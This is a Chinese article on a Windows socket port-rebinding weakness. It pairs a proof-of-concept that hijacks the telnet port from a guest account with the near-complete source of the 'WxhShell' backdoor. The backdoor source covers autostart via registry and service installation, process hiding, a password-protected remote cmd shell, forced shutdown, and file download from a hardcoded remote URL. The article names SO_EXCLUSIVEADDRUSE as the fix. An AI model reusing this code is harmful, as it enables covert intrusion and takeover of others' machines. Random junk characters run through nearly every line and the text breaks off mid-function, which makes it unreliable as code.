在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
<M?#3&5A s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
()#tR^T @%nUfG7TQ saddr.sin_family = AF_INET;
2P_^@g DB%AO:8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
%`'z^W jgKL88J*\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
$cK
B+} J<#`IaV 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
5b`xN!c ENWB|@B 这意味着什么?意味着可以进行如下的攻击:
@nX2*j*u /)?P>!#;\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
@1&;R :@`(}5F4 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
nYy}''l< #K1BJ#KUt 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
E
D^rWE_ .S'fM]_# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
{&EZ>r- lhA
s!\F 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
B H0#Q5 @Du}
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<S8W~wC IO!1|JMr6 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
n*i'v tQ8 mOgOHb2 #include
PWk?8dL- #include
q= yZx) #include
2WPF{y%/ #include
!jnqA Z DWORD WINAPI ClientThread(LPVOID lpParam);
8gbm "! int main()
45)ogg2 {
V4eng " WORD wVersionRequested;
#x5 N{8 DWORD ret;
YNg\"XjJM< WSADATA wsaData;
KZ!N{.Jk BOOL val;
`
-[Bo SOCKADDR_IN saddr;
<p^*Ydx SOCKADDR_IN scaddr;
@4_rx u& int err;
uspkn1- SOCKET s;
K=c=/`E SOCKET sc;
c8-69hb? int caddsize;
sWsG,v_ HANDLE mt;
;<kZfx DWORD tid;
A3MZxu=':3 wVersionRequested = MAKEWORD( 2, 2 );
NF/Ti5y err = WSAStartup( wVersionRequested, &wsaData );
rwL=R, if ( err != 0 ) {
%jZp9}h printf("error!WSAStartup failed!\n");
vLBee>$
return -1;
&Mhv XHI }
\[[TlB> saddr.sin_family = AF_INET;
2q-:p8 bB;~,W&E1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Q 7uAf3 *>aZc:: saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
\)^,PA3 saddr.sin_port = htons(23);
0q[p{_t` if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
N)y^</Ya {
~m?74^ i printf("error!socket failed!\n");
b(#"w[| return -1;
YN%=Oq }
j<ABO")v val = TRUE;
.'^6QST //SO_REUSEADDR选项就是可以实现端口重绑定的
M<{5pH(K if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]pOYVf *$ {
9h:jFhsA9 printf("error!setsockopt failed!\n");
Lp:Nw4 _ return -1;
nDHHYp }
/nC{)s?S' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
p}YI#f
in/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
#Mj$o;SX //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,7^d9v3t n|70x5Z?}J if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$` Z>Lm* {
S'Z70 zJ ret=GetLastError();
dGbU{#"3s printf("error!bind failed!\n");
yhcNE8mkQ/ return -1;
=vqsd4 }
});cX$ listen(s,2);
^))PCn_zb while(1)
u}K5/hC {
pqyWv; caddsize = sizeof(scaddr);
aBXYri //接受连接请求
xm<v">< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Z/2,al\ if(sc!=INVALID_SOCKET)
3]O`[P,*% {
,f8}q]FTA mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/S:w&5e if(mt==NULL)
MU_!&(X_ {
>Z#uFt0<Pm printf("Thread Creat Failed!\n");
)-bD2YA{ break;
5h`m]#YEG }
$}qDV>
qo }
%f3c7\=C CloseHandle(mt);
*Q bM*oH }
5f;n<EPy closesocket(s);
FU_fCL8yA WSACleanup();
DMF?5GX return 0;
i\t753<Ys }
xS=_yO9- DWORD WINAPI ClientThread(LPVOID lpParam)
8weSrm {
0JmFQ^g( SOCKET ss = (SOCKET)lpParam;
c3=-Mq9Q SOCKET sc;
,>D ja59 unsigned char buf[4096];
8[8|*8xqs SOCKADDR_IN saddr;
\hs/D+MCk long num;
v6wRME;JA DWORD val;
H@K#|A=a DWORD ret;
B$cOssl //如果是隐藏端口应用的话,可以在此处加一些判断
?qju
DD //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
d{er|$E? saddr.sin_family = AF_INET;
B4`2.yRis saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
qBT_!
)h
saddr.sin_port = htons(23);
&MCy.(jN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L +L9Y} {
;tJWOm printf("error!socket failed!\n");
:]vA2 return -1;
nN>J*02( }
%b=Y
<v val = 100;
`_|aeoK_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
L
;6b+I {
h S4.3]ei ret = GetLastError();
dZPW2yf return -1;
x>}B# }
)VNM/o%Q if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lc]V\'e {
z)}3**3'y ret = GetLastError();
}7K@e;YUg return -1;
\ jECSV| }
ToV6lS" if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
BbFa=H. {
Hal7
MP printf("error!socket connect failed!\n");
YPu9Q closesocket(sc);
TYYp"wx closesocket(ss);
2;8Xz6T return -1;
$30oc
Tt{ }
W7t
>&3l while(1)
|~z3U> {
*P`v^& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
IE2CRBfs //如果是嗅探内容的话,可以再此处进行内容分析和记录
1j11|~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
VM7 !0 num = recv(ss,buf,4096,0);
=4eUAeH {w if(num>0)
T'E]
i!$ send(sc,buf,num,0);
|+98h&U~ else if(num==0)
_1ew(x2J break;
YydA6IK4 num = recv(sc,buf,4096,0);
?]^zD k@~ if(num>0)
@<2d8ed send(ss,buf,num,0);
D}-o+6TI? else if(num==0)
%;7.9% break;
z5'ZN+ }
X/l;s closesocket(ss);
o+NMA
( closesocket(sc);
mb&lCd^- return 0 ;
wq UQ"d }
>)Ioo$B +]c/&Xo! WSRy%# ==========================================================
PY?8[A+ C}q>YRubZ 下边附上一个代码,,WXhSHELL
.jA\f:u# ld.7`) ==========================================================
joqWh!kv7U uMvb-8 #include "stdafx.h"
g5i#YW []zua14F6 #include <stdio.h>
8'_ 0g[s #include <string.h>
/prYSRn8 #include <windows.h>
Z0$] tS #include <winsock2.h>
9t?L\ #include <winsvc.h>
Vo\H<_=G #include <urlmon.h>
>)NQH9'1 eX"''PA #pragma comment (lib, "Ws2_32.lib")
eJHp6)2 #pragma comment (lib, "urlmon.lib")
6g"C#&{@ *:g_'K"+ #define MAX_USER 100 // 最大客户端连接数
vg)Z]F=t( #define BUF_SOCK 200 // sock buffer
dy2rkV.z #define KEY_BUFF 255 // 输入 buffer
[[WF0q yoQ\lk #define REBOOT 0 // 重启
x0A7O #define SHUTDOWN 1 // 关机
/_)l|<k+V IxOc':/jY #define DEF_PORT 5000 // 监听端口
)1lu=gc $
KB #define REG_LEN 16 // 注册表键长度
)T1iN(Z #define SVC_LEN 80 // NT服务名长度
}^Gd4[(,g :_xh(W+2< // 从dll定义API
&$=! dA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
*/(I[p typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
0}]SUe^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
uFG<UF typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
gzf-)J e"k/d< // wxhshell配置信息
e4\dpvL struct WSCFG {
^2S# Uk int ws_port; // 监听端口
Z(e^ iH char ws_passstr[REG_LEN]; // 口令
?qmp_2:WU int ws_autoins; // 安装标记, 1=yes 0=no
_'!kuE,*1 char ws_regname[REG_LEN]; // 注册表键名
GS;%zdH~ char ws_svcname[REG_LEN]; // 服务名
x GH1epf char ws_svcdisp[SVC_LEN]; // 服务显示名
ys8Q.oBv_` char ws_svcdesc[SVC_LEN]; // 服务描述信息
D//=m= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
!:3.D, int ws_downexe; // 下载执行标记, 1=yes 0=no
+&5'uAe char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
}Cj8 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
d(;4`kd*N D."=k{r. };
%d2!\x%bG BI/&dKM // default Wxhshell configuration
I4=Xb^Ux struct WSCFG wscfg={DEF_PORT,
=rFN1M/n{E "xuhuanlingzhe",
0 )}$^TV 1,
;a
r><w "Wxhshell",
%w
) +V "Wxhshell",
`VT>M@i/ "WxhShell Service",
qf#)lyr<D6 "Wrsky Windows CmdShell Service",
o6a0'vU>< "Please Input Your Password: ",
2eb1lJdS 1,
Z9K})47T "
http://www.wrsky.com/wxhshell.exe",
+v7) 1y "Wxhshell.exe"
Q@S-f:! };
eE(b4RCM nP3 E // 消息定义模块
=qu(~]2( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
O.QK"pKD\ char *msg_ws_prompt="\n\r? for help\n\r#>";
B&0;4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
[}z,J"Un char *msg_ws_ext="\n\rExit.";
`]i
[]| char *msg_ws_end="\n\rQuit.";
`yiC=$*[ char *msg_ws_boot="\n\rReboot...";
kmPYx)o char *msg_ws_poff="\n\rShutdown...";
WFTvOFj char *msg_ws_down="\n\rSave to ";
sG7u}r zM#sOg char *msg_ws_err="\n\rErr!";
%aRT>_6" char *msg_ws_ok="\n\rOK!";
Na{Y}0=^y
9+=gke char ExeFile[MAX_PATH];
lLhL`C! int nUser = 0;
j<<3Pr HANDLE handles[MAX_USER];
Yk!/ow@. int OsIsNt;
~f\G68c zp}eLm:=d SERVICE_STATUS serviceStatus;
49H+(*@v@ SERVICE_STATUS_HANDLE hServiceStatusHandle;
Of,2Q#oji 64>krmVIe // 函数声明
o 5U(i int Install(void);
u\yVR$pQ int Uninstall(void);
GLMm( int DownloadFile(char *sURL, SOCKET wsh);
zAzP,1$? int Boot(int flag);
co8"sz0(U void HideProc(void);
e'%v1-&sP int GetOsVer(void);
j$7|XM6 int Wxhshell(SOCKET wsl);
O^Q7b7}y void TalkWithClient(void *cs);
`F YjQe"p int CmdShell(SOCKET sock);
D\dWt1n int StartFromService(void);
!>,m&O-x int StartWxhshell(LPSTR lpCmdLine);
/P|fB]p Yb3mP!3q8Z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Mn1Pt|_@! VOID WINAPI NTServiceHandler( DWORD fdwControl );
`.jzuX 8BOZh6BV // 数据结构和表定义
yZr M.%V SERVICE_TABLE_ENTRY DispatchTable[] =
Mips.Bx {
i<kD {wscfg.ws_svcname, NTServiceMain},
R0ID2:i]F {NULL, NULL}
U4f5xUY0) };
MTg:dR_ 6tHO!`}1 // 自我安装
h,aA w#NE* int Install(void)
KqBk~-G {
>(uZtYM\j char svExeFile[MAX_PATH];
{'?)FX*W HKEY key;
&,A64y strcpy(svExeFile,ExeFile);
{"oxJ`z4 $vC1 K5sLk // 如果是win9x系统,修改注册表设为自启动
MYJg8 '[j if(!OsIsNt) {
/Jf.y*; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\PDd$syDA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|8mhp.7 RegCloseKey(key);
}bY;q- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
eSWLrryY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]f+ csB RegCloseKey(key);
Y<1QY?1sd return 0;
6"Bic rY }
*
#jsgj[ }
~U;rw&'H }
?\C"YG69T else {
"Rn3lj0 @d Jr/6Yx // 如果是NT以上系统,安装为系统服务
wP[t0/dl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=t6z \WB if (schSCManager!=0)
=FE|+!>PA {
$)3%U?AP SC_HANDLE schService = CreateService
UnI48Y (
aLIBD'z schSCManager,
pZ/>[TP(%F wscfg.ws_svcname,
W6On93sa wscfg.ws_svcdisp,
Cvn#=6V3 SERVICE_ALL_ACCESS,
h/~n\0,J/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
X]P:CY SERVICE_AUTO_START,
W5SJ^,d)J SERVICE_ERROR_NORMAL,
z5)s/;Sc svExeFile,
d&Ef"H NULL,
rn<PR* NULL,
/_`lz^ NULL,
a4irokJv# NULL,
sQMFpIrr NULL
v{}#?=I5 );
e^.Fa59 if (schService!=0)
&hRvol\J {
:=J,z,H_U CloseServiceHandle(schService);
liXdNk8 CloseServiceHandle(schSCManager);
Fd0%lnui strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Mbb x` strcat(svExeFile,wscfg.ws_svcname);
qK)73eNSR if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
% LJs RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*4V=z# RegCloseKey(key);
H,b5C_D29 return 0;
qAw x2fPu }
'nF2aD%A }
?Wz8[u CloseServiceHandle(schSCManager);
eut-U/3: # }
XGl+S }
s0PrbL%_` u,&^&0K, return 1;
WL'P)lI5 }
?mwD*LN3o at)~]dG // 自我卸载
5-M&5f. int Uninstall(void)
[i]Ub0Dh7 {
0(S"{Ov HKEY key;
JYTP
2 )a-Du$kd if(!OsIsNt) {
;cQ6g`
bM\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2RX!V@z.G RegDeleteValue(key,wscfg.ws_regname);
%@u;5qD& RegCloseKey(key);
t2lS
~l) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
YxP&7oq RegDeleteValue(key,wscfg.ws_regname);
:53)Nv RegCloseKey(key);
<TP=oq?I/ return 0;
1&-
</G# }
s D=n95`v }
BW"5Aj }
PbmDNKEh{ else {
49vcoHlf T3^GC X|!@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
kOed ]>H if (schSCManager!=0)
mVy|{Oh {
0:T|S>FsAm SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
AT%u%cE- if (schService!=0)
3de_V|% {
@0F3$ if(DeleteService(schService)!=0) {
WS`qVL]^& CloseServiceHandle(schService);
2n|K5FR() CloseServiceHandle(schSCManager);
gy_>`16K return 0;
9_
dpR. }
(,8$V\ CloseServiceHandle(schService);
rsy'q(N[ }
MP>dW nl CloseServiceHandle(schSCManager);
xjVS }
FGoy8+nB1M }
^Gqt+K% /%;mqrdk return 1;
ayfFVTy1d }
#n#@fAY LL3#5AA"k| // 从指定url下载文件
@]ytla>d int DownloadFile(char *sURL, SOCKET wsh)
RE/~#k@a {
5.MGaU^Z$ HRESULT hr;
E6pMT^{K char seps[]= "/";
BBtzs^C| char *token;
iT%} $Lu~ char *file;
<OIIoB?t char myURL[MAX_PATH];
6x%h6<#xh* char myFILE[MAX_PATH];
~V\D|W9 %@6}GmK^ strcpy(myURL,sURL);
#6CC3TJ'k token=strtok(myURL,seps);
_tYx~J2.Q while(token!=NULL)
Jz2N {
eep1I
:N file=token;
'2[albxSc token=strtok(NULL,seps);
j4cwI90= }
`wDl<[V j'MO(ev GetCurrentDirectory(MAX_PATH,myFILE);
UOxkO strcat(myFILE, "\\");
TzNn^ir=HX strcat(myFILE, file);
N-e @j4WU send(wsh,myFILE,strlen(myFILE),0);
n}!PO[m~ send(wsh,"...",3,0);
4X+ifZO hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
i? K|TC` if(hr==S_OK)
d~1gMz+) return 0;
Q|D @Yd\ else
v5QqS8u_C return 1;
MP4z-4Y \cUC9/
b }
O8j_0 B4i!/@0s // 系统电源模块
F7O(Cy"1 int Boot(int flag)
hHT_V2* {
7aQc=^vaZ HANDLE hToken;
UHTvCc TOKEN_PRIVILEGES tkp;
Ljx(\Cm Wb?8j M if(OsIsNt) {
8q,6}mV
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!U'QqnT LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`CgaS# tkp.PrivilegeCount = 1;
er!DYv tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ck.w
5|$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
'<ZlGFt'n if(flag==REBOOT) {
k6sI
L3QJ0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
gT#&"aP5S return 0;
tm#nU w }
VBcy9|lD else {
/7t>TYip! if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
2M68CE return 0;
O4^8jK} }
uFPF!Ern }
Pl"Nus else {
$0lD>yu if(flag==REBOOT) {
@EnuJe if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
O"c;|zCc> return 0;
b;cdIl!3 }
/iJ4{p else {
SVB \ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
z2QP)150 return 0;
TTt#a6eJ }
d[V;&U }
2gq9k}38 #>mr[ return 1;
pnbIiyV }
)Cc q4i f'VX Y- // win9x进程隐藏模块
}7
c[Q($K void HideProc(void)
b7wvaRe. {
6T#+V37 I^8"{J.Q)[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
HLZ;8/|48m if ( hKernel != NULL )
jg\Z;_!W {
v4.#;F.\m pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
8'4S8DM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
R]btAu;Z FreeLibrary(hKernel);
9)gC6IiW }
kZerKP -QmO1U return;
$+3}po\ }
HAJ 7m!P 5wh|=**/ // 获取操作系统版本
/(BMG/Tb int GetOsVer(void)
5_z33,q2 {
[>1OJY.S}T OSVERSIONINFO winfo;
km1~yQ"bH winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
frT]5?{ GetVersionEx(&winfo);
\u>"s if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
K/3)g9Z&io return 1;
],JEBt else
N0=ac5 return 0;
T|dY
2 }
eQD)$d_5 u(wGl_ // 客户端句柄模块
NCk r /#! int Wxhshell(SOCKET wsl)
Xp8]qH|K {
-:Ia^{YN SOCKET wsh;
7~GB;1n struct sockaddr_in client;
]):<ZsT DWORD myID;
0VGPEKRh ae0>
W while(nUser<MAX_USER)
ghX|3lI\q {
, 'ZD=4_ int nSize=sizeof(client);
OQ>x5?um
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
OZTPOz. if(wsh==INVALID_SOCKET) return 1;
dUF&."pW e w[!^;# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*IY*yR6 if(handles[nUser]==0)
{FIXc^m' closesocket(wsh);
u#V5?i else
vt;{9\Y nUser++;
LX@/RAd vz }
1QU:?_\6@t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-R%<.]fJ u9}1)9 return 0;
y7$iOR }
ywb4LKD FcRW;e8- // 关闭 socket
e|p$d:#! void CloseIt(SOCKET wsh)
&Ibu>di4[ {
}*ZHgf]~# closesocket(wsh);
FFH_d <q nUser--;
|pmZ.r ExitThread(0);
"ajjJ"x A }
'{J&M|<A -Y*bSP)\ // 客户端请求句柄
O=$~O\}b void TalkWithClient(void *cs)
=9z[[dQ|L {
0\:(ageY? L dm?JrU SOCKET wsh=(SOCKET)cs;
{.De4]ANh char pwd[SVC_LEN];
"v` char cmd[KEY_BUFF];
K,w"_T char chr[1];
Rhe Re int i,j;
8:#rA*Y ^B@Wp while (nUser < MAX_USER) {
Ty<L8+B| qWx][D" if(wscfg.ws_passstr) {
"7v @Rye if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
=Apxdnz, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
un=2}@ ' //ZeroMemory(pwd,KEY_BUFF);
kf;/c}} i=0;
>TP7 }u| while(i<SVC_LEN) {
x#Q>J"g cP}KU 5j // 设置超时
.%^]9/4 fd_set FdRead;
OI?K/rn struct timeval TimeOut;
gCN$} FD_ZERO(&FdRead);
]b= P= FD_SET(wsh,&FdRead);
rS?pWTg"8 TimeOut.tv_sec=8;
jU3Z*Z)zN TimeOut.tv_usec=0;
KMV=%o int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
S_T1y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
MzP7Py
8. PmR~c, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
#."Hh<C pwd
=chr[0]; cI=r+OGk*
if(chr[0]==0xd || chr[0]==0xa) { ? B E6
pwd=0; RKa}$
7
break; `c69?/5
} ^<:sdv>Y5
i++; tBm_YP[
} Hzhceeh_+
tU^kQR!
// 如果是非法用户,关闭 socket A5+rd{k/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JIFU;*PR1
} u- o--q
b-Z4
Jo
G
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v|ck>_"
.
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ] )"u+
/% I7Vc
while(1) { d7&eLLx
8:o<ry
ZeroMemory(cmd,KEY_BUFF); iz~
pGkt
YqV8D&I
// 自动支持客户端 telnet标准 6AP~]e 8
j=0; w]_zp?\^
}
while(j<KEY_BUFF) { e }*0ghKI
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dgql?+2$
cmd[j]=chr[0]; HJC(\\~
if(chr[0]==0xa || chr[0]==0xd) { mCz,2K|^~
cmd[j]=0; _oB_YL;,*
break; jS!`2li?{
} $x#FgD(iI
j++; Otz E:qe
} ?,=f\Fz!
@O}7XRJ_8
// 下载文件 <X_!x_x
if(strstr(cmd,"http://")) { BT_tOEL#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); r{seb E\
;
if(DownloadFile(cmd,wsh)) R|P_GN6>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZL<
MC~
else 6QNs\Ucb+
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T'#!~GpB
} #u5~0,F
else { 5y}
v{Ijt
tQ~W EC
switch(cmd[0]) { O%f8I'u$
9]>iSG^H
// 帮助 (9 gOtJ
case '?': { vU*x2fVb}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 70B)|<$
break; Qpt&3_
} R
4wr
// 安装 '(#g1H3
case 'i': { U,lJ"$'
if(Install()) Hwm?#6\5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 33~qgK1>
else tJ=di5&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *]x*B@RF
break; L7mz#CMWf
} fA! 6sB
// 卸载 8@M'[jT
case 'r': { ^*^/]vM
if(Uninstall()) 5M23/=
N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R:aYL~
else 0ZC,BS`D^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n~Szf
break; 1Qh`6Ya f
} 2D([Z -<i
// 显示 wxhshell 所在路径 =!ac7i\F
case 'p': { \,sg)^w@
char svExeFile[MAX_PATH]; );
6,H.v
strcpy(svExeFile,"\n\r"); 5]7&IDA]]9
strcat(svExeFile,ExeFile); T+RZ
send(wsh,svExeFile,strlen(svExeFile),0); .}9FEn 8
break; }.:d#]g8
} sIm#_+Y
// 重启 vZajT!h
case 'b': { 9DEh*%q
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aQcN&UA@
if(Boot(REBOOT)) dALK0U
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &.*uc|{
else { 4R +P
closesocket(wsh); 98*x 'Wp
ExitThread(0); 74zSP/G'
} CW:gEm+
break; Sue
6+p
} <4zT;:NQ
// 关机 IMad$AKc
case 'd': { "E>t,
D
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }f}IA\8]
if(Boot(SHUTDOWN)) kUHie
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7<yp"5><)
else { '8r8%XI
closesocket(wsh); a{`"68
ExitThread(0); >QI~`MiI
} KzkgWMM
break; w4{y"A
} n(jjvLf
// 获取shell b~W)S/wF$P
case 's': { 797X71>
CmdShell(wsh); +v[O
closesocket(wsh); C|6{fd4?
ExitThread(0); ~JE|f 7
break; \/,g VT
} UE)fUTS
// 退出 N?+eWY
case 'x': { Wy(pLBmb
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $WNG07]tU
CloseIt(wsh); _[1^s$
break; h]P/KVqR.
} u&SZlkf6%
// 离开 1CiA 8
case 'q': { 8&T,LNZoY
send(wsh,msg_ws_end,strlen(msg_ws_end),0); QSmJ`Bm
closesocket(wsh); s$3`X(Pn
WSACleanup(); \ 522,n`
exit(1); VV\Xb31J
break; 4OEKx|:5n
} \c68n
} &9@gm--b:
} B<+pg
8{@`kyy|
// 提示信息 {,F/KL^u
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :p&IX"Hh
} !^1[ s@1
} 5&G
5eA
hU)'OKe
return; x?rbgsB5&
} &PSTwZd
mb~./.5F
// shell模块句柄 X
[!X>w&z|
int CmdShell(SOCKET sock) mw Z'=H
{ -+' #*V
STARTUPINFO si; jPpRsw>
ZeroMemory(&si,sizeof(si)); Wk,6) jS=}
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `>\4"`I
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T|!D>l'
PROCESS_INFORMATION ProcessInfo; ret0z|
char cmdline[]="cmd"; /_HwifRQ
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *i%.{ YH
return 0; 2@4x"F]U;
} cP,;Qbe
Gxo#
!
// 自身启动模式 l3BD
<PB2S
int StartFromService(void) xHm/^C&px
{ VkWO}
typedef struct ^W5>i[
{ erXy>H[;
DWORD ExitStatus; 6TY){Pw
DWORD PebBaseAddress; |GuKU!
DWORD AffinityMask; L)1C'8).
DWORD BasePriority; YN4"O>
ULONG UniqueProcessId; qP qy4V.;
ULONG InheritedFromUniqueProcessId; WBy[m ?d
